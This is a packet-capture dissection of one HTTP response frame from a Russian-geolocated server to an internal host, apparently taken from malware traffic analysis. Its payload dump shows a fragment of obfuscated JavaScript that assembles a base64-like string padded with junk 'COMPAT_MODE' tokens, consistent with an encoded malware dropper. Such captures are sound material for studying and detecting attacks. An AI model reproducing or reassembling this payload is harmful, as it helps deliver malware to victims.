Frame 122: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.144570000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.144570000 UTC Epoch Arrival Time: 1511226043.144570000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 115.000 microseconds] [Time since reference or first frame: 37.278830000 seconds] Frame Number: 122 Frame Length: 1328 bytes (10624 bits) Capture Length: 1328 bytes (10624 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1314 Identification: 0xc98c (51596) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5cf9 [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 20869, Ack: 1678, Len: 1274 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 36] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1274] Sequence Number: 20869 (relative sequence number) Sequence Number (raw): 3620093284 [Next Sequence Number: 22143 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0xecc6 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 925.700000 milliseconds] [Time since previous frame in this TCP stream: 115.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 5096] [Bytes sent since last PSH flag: 1274] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1274 bytes) Hypertext Transfer Protocol File Data: 1274 bytes Data (1274 bytes) 0000 27 3b 67 6f 78 65 2b 3d 27 71 4d 68 35 59 27 3b ';goxe+='qMh5Y'; 0010 67 6f 78 65 2b 3d 27 50 74 79 55 72 46 6f 76 27 goxe+='PtyUrFov' 0020 3b 67 6f 78 65 2b 3d 27 46 63 43 54 4d 27 3b 67 ;goxe+='FcCTM';g 0030 6f 78 65 2b 3d 27 46 65 4a 53 71 37 27 3b 67 6f oxe+='FeJSq7';go 0040 78 65 2b 3d 27 73 53 71 34 53 27 3b 67 6f 78 65 xe+='sSq4S';goxe 0050 2b 3d 27 6c 56 77 6c 4b 76 6b 39 4d 27 3b 67 6f +='lVwlKvk9M';go 0060 78 65 2b 3d 27 4f 53 43 53 56 41 27 3b 67 6f 78 xe+='OSCSVA';gox 0070 65 2b 3d 27 66 63 43 4f 4d 27 3b 67 6f 78 65 2b e+='fcCOM';goxe+ 0080 3d 27 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d ='PAT_MO';goxe+= 0090 27 44 45 59 68 2f 39 27 3b 67 6f 78 65 2b 3d 27 'DEYh/9';goxe+=' 00a0 31 4c 41 63 46 4b 72 27 3b 67 6f 78 65 2b 3d 27 1LAcFKr';goxe+=' 00b0 6d 68 76 78 2b 27 3b 67 6f 78 65 2b 3d 27 39 2b mhvx+';goxe+='9+ 00c0 77 68 50 32 74 52 4f 27 3b 67 6f 78 65 2b 3d 27 whP2tRO';goxe+=' 00d0 4d 67 4a 62 2f 47 27 3b 67 6f 78 65 2b 3d 27 77 MgJb/G';goxe+='w 00e0 65 2b 4d 6f 43 27 3b 67 6f 78 65 2b 3d 27 76 54 e+MoC';goxe+='vT 00f0 47 43 72 58 71 50 70 33 27 3b 67 6f 78 65 2b 3d GCrXqPp3';goxe+= 0100 27 2f 30 55 41 32 51 2f 30 27 3b 67 6f 78 65 2b '/0UA2Q/0';goxe+ 0110 3d 27 7a 78 4a 43 4f 4d 50 41 27 3b 67 6f 78 65 ='zxJCOMPA';goxe 0120 2b 3d 27 54 5f 4d 4f 44 27 3b 67 6f 78 65 2b 3d +='T_MOD';goxe+= 0130 27 45 2f 2f 33 51 4c 66 2f 65 27 3b 67 6f 78 65 'E//3QLf/e';goxe 0140 2b 3d 27 32 72 37 4f 73 62 79 75 34 27 3b 67 6f +='2r7Osbyu4';go 0150 78 65 2b 3d 27 46 76 52 6e 4e 6d 52 59 45 43 27 xe+='FvRnNmRYEC' 0160 3b 67 6f 78 65 2b 3d 27 4f 4d 50 41 54 27 3b 67 ;goxe+='OMPAT';g 0170 6f 78 65 2b 3d 27 5f 4d 4f 44 45 69 6d 6d 30 50 oxe+='_MODEimm0P 0180 27 3b 67 6f 78 65 2b 3d 27 49 6e 32 2b 50 27 3b ';goxe+='In2+P'; 0190 67 6f 78 65 2b 3d 27 4e 6f 50 4a 6d 27 3b 67 6f goxe+='NoPJm';go 01a0 78 65 2b 3d 27 67 41 45 59 39 76 54 27 3b 67 6f xe+='gAEY9vT';go 01b0 78 65 2b 3d 27 74 46 63 78 41 78 43 4c 6a 27 3b xe+='tFcxAxCLj'; 01c0 67 6f 78 65 2b 3d 27 70 6c 46 6f 7a 4b 39 4b 56 goxe+='plFozK9KV 01d0 27 3b 67 6f 78 65 2b 3d 27 70 42 55 6e 37 27 3b ';goxe+='pBUn7'; 01e0 67 6f 78 65 2b 3d 27 72 72 4b 70 45 41 47 27 3b goxe+='rrKpEAG'; 01f0 67 6f 78 65 2b 3d 27 63 52 33 76 79 49 5a 7a 31 goxe+='cR3vyIZz1 0200 27 3b 67 6f 78 65 2b 3d 27 33 70 35 6c 56 36 54 ';goxe+='3p5lV6T 0210 34 78 27 3b 67 6f 78 65 2b 3d 27 33 56 46 42 73 4x';goxe+='3VFBs 0220 43 4f 63 46 27 3b 67 6f 78 65 2b 3d 27 53 71 34 COcF';goxe+='Sq4 0230 72 46 77 27 3b 67 6f 78 65 2b 3d 27 58 34 37 35 rFw';goxe+='X475 0240 35 42 27 3b 67 6f 78 65 2b 3d 27 49 4c 72 6b 62 5B';goxe+='ILrkb 0250 55 55 71 27 3b 67 6f 78 65 2b 3d 27 42 54 7a 57 UUq';goxe+='BTzW 0260 4d 63 4f 50 6f 27 3b 67 6f 78 65 2b 3d 27 73 57 McOPo';goxe+='sW 0270 78 6e 43 78 76 49 67 27 3b 67 6f 78 65 2b 3d 27 xnCxvIg';goxe+=' 0280 4c 57 52 4e 53 74 53 51 27 3b 67 6f 78 65 2b 3d LWRNStSQ';goxe+= 0290 27 73 76 59 4e 53 53 4e 4c 4a 27 3b 67 6f 78 65 'svYNSSNLJ';goxe 02a0 2b 3d 27 65 31 73 63 73 39 33 43 27 3b 67 6f 78 +='e1scs93C';gox 02b0 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 27 3b 67 6f e+='OMPAT_MO';go 02c0 78 65 2b 3d 27 44 45 6a 43 4f 4d 27 3b 67 6f 78 xe+='DEjCOM';gox 02d0 65 2b 3d 27 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 e+='PAT_MO';goxe 02e0 2b 3d 27 44 45 73 43 4f 4d 50 41 54 5f 27 3b 67 +='DEsCOMPAT_';g 02f0 6f 78 65 2b 3d 27 4d 4f 44 45 50 27 3b 67 6f 78 oxe+='MODEP';gox 0300 65 2b 3d 27 57 4b 6b 38 68 48 73 43 27 3b 67 6f e+='WKk8hHsC';go 0310 78 65 2b 3d 27 4f 4d 50 41 54 27 3b 67 6f 78 65 xe+='OMPAT';goxe 0320 2b 3d 27 5f 4d 4f 44 45 59 39 69 36 37 27 3b 67 +='_MODEY9i67';g 0330 6f 78 65 2b 3d 27 65 48 7a 6d 55 27 3b 67 6f 78 oxe+='eHzmU';gox 0340 65 2b 3d 27 68 73 52 41 70 6b 44 27 3b 67 6f 78 e+='hsRApkD';gox 0350 65 2b 3d 27 71 64 34 65 47 56 27 3b 67 6f 78 65 e+='qd4eGV';goxe 0360 2b 3d 27 43 47 67 68 75 54 37 42 27 3b 67 6f 78 +='CGghuT7B';gox 0370 65 2b 3d 27 6a 54 79 57 70 6a 5a 70 6d 59 27 3b e+='jTyWpjZpmY'; 0380 67 6f 78 65 2b 3d 27 67 55 49 4b 53 27 3b 67 6f goxe+='gUIKS';go 0390 78 65 2b 3d 27 43 4e 70 39 66 27 3b 67 6f 78 65 xe+='CNp9f';goxe 03a0 2b 3d 27 52 6c 7a 6f 7a 27 3b 67 6f 78 65 2b 3d +='Rlzoz';goxe+= 03b0 27 45 66 77 59 56 6c 57 7a 27 3b 67 6f 78 65 2b 'EfwYVlWz';goxe+ 03c0 3d 27 2f 64 69 70 4b 4b 27 3b 67 6f 78 65 2b 3d ='/dipKK';goxe+= 03d0 27 32 30 2b 51 36 27 3b 67 6f 78 65 2b 3d 27 34 '20+Q6';goxe+='4 03e0 30 64 34 44 66 57 27 3b 67 6f 78 65 2b 3d 27 48 0d4DfW';goxe+='H 03f0 30 6e 4b 4f 4e 53 34 44 27 3b 67 6f 78 65 2b 3d 0nKONS4D';goxe+= 0400 27 5a 43 70 4c 38 44 67 77 7a 27 3b 67 6f 78 65 'ZCpL8Dgwz';goxe 0410 2b 3d 27 76 62 5a 70 38 27 3b 67 6f 78 65 2b 3d +='vbZp8';goxe+= 0420 27 58 76 32 64 77 4f 58 57 27 3b 67 6f 78 65 2b 'Xv2dwOXW';goxe+ 0430 3d 27 36 6a 74 47 5a 6b 52 62 73 27 3b 67 6f 78 ='6jtGZkRbs';gox 0440 65 2b 3d 27 78 49 65 75 58 65 71 63 27 3b 67 6f e+='xIeuXeqc';go 0450 78 65 2b 3d 27 37 4e 55 69 6a 5a 50 54 27 3b 67 xe+='7NUijZPT';g 0460 6f 78 65 2b 3d 27 41 6e 53 34 7a 5a 72 6f 27 3b oxe+='AnS4zZro'; 0470 67 6f 78 65 2b 3d 27 71 37 2b 4e 46 27 3b 67 6f goxe+='q7+NF';go 0480 78 65 2b 3d 27 57 64 6e 48 77 70 6d 6e 6d 44 27 xe+='WdnHwpmnmD' 0490 3b 67 6f 78 65 2b 3d 27 58 74 35 4f 6f 53 27 3b ;goxe+='Xt5OoS'; 04a0 67 6f 78 65 2b 3d 27 6f 5a 6b 4b 46 52 46 63 78 goxe+='oZkKFRFcx 04b0 4e 27 3b 67 6f 78 65 2b 3d 27 56 43 4f 4d 50 41 N';goxe+='VCOMPA 04c0 27 3b 67 6f 78 65 2b 3d 27 54 5f 4d 4f 44 45 70 ';goxe+='T_MODEp 04d0 62 53 27 3b 67 6f 78 65 2b 3d 27 38 72 71 4d 6a bS';goxe+='8rqMj 04e0 58 42 2f 27 3b 67 6f 78 65 2b 3d 27 32 6c 44 6f XB/';goxe+='2lDo 04f0 4f 27 3b 67 6f 78 65 2b 3d 27 O';goxe+=' Data […]: 273b676f78652b3d27714d683559273b676f78652b3d275074795572466f76273b676f78652b3d27466343544d273b676f78652b3d2746654a537137273b676f78652b3d277353713453273b676f78652b3d276c56776c4b766b394d273b676f78652b3d274f5343535641273b676f78652 [Length: 1274]